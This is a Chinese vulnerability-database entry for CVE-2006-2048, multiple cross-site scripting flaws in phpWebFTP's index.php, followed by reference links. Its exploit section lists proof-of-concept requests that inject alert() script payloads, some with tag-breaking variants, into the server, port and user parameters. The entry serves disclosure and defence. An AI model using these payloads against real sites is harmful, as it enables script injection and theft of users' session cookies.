Edwin van Wijk phpWebFTP index.php 多个跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110138 漏洞类型 跨站脚本
发布时间 2006-04-25 更新时间 2006-04-27
CVE编号 CVE-2006-2048 CNNVD-ID CNNVD-200604-522
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/27735
https://cxsecurity.com/issue/WLB-2006040107
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200604-522
|漏洞详情
EdwinvanWijkphpWebFTP2.3中的index.php存在多个跨站脚本攻击漏洞。这使得远程攻击者可以借助于参数(1)port、(2)server和(3)user注入任意Web脚本或HTML。注意:受影响版本很可能是3.2。
|漏洞EXP
source: http://www.securityfocus.com/bid/17688/info

phpWebFTP is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input using the HTTP 'POST' method when submitting a malicious URI. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.anysite.com/PhpWebFtp/index.php?server=1&port=<script>var%20sub_variable=11233;alert(sub_variable);</script>&goPassive=on&user=1&password=1&language=bulgarian server=<script>alert(''as-208395078');</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian 
server=1&port=21&goPassive=on&user=<script>alert('as-453627');</script>&password=1&language=bulgarian
server=><script>alert('as-208395078');</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian
server=1&port=21&goPassive=on&user='><script>alert('as-208395078');</script>&password=1&language=bulgarian
server=</textarea><script>alert('2134327801');</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian
server=1&port=21&goPassive=on&user=<script>var%20test_variable=878173184;
alert(test_variable);</script>&password=1&language=bulgarian
|参考资料

来源:MISC
链接:http://www.subjectzero.net/research/phpwebftpxss.htm
来源:BUGTRAQ
名称:20060425PhpWebFtpCrossSiteScriptingVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/431985/100/0/threaded
来源:XF
名称:phpwebftp-index-xss(26067)
链接:http://xforce.iss.net/xforce/xfdb/26067
来源:BID
名称:17688
链接:http://www.securityfocus.com/bid/17688
来源:OSVDB
名称:24975
链接:http://www.osvdb.org/24975
来源:VUPEN
名称:ADV-2006-1530
链接:http://www.frsirt.com/english/advisories/2006/1530
来源:SREASON
名称:786
链接:http://securityreason.com/securityalert/786
来源:SECUNIA
名称:19827
链接:http://secunia.com/advisories/19827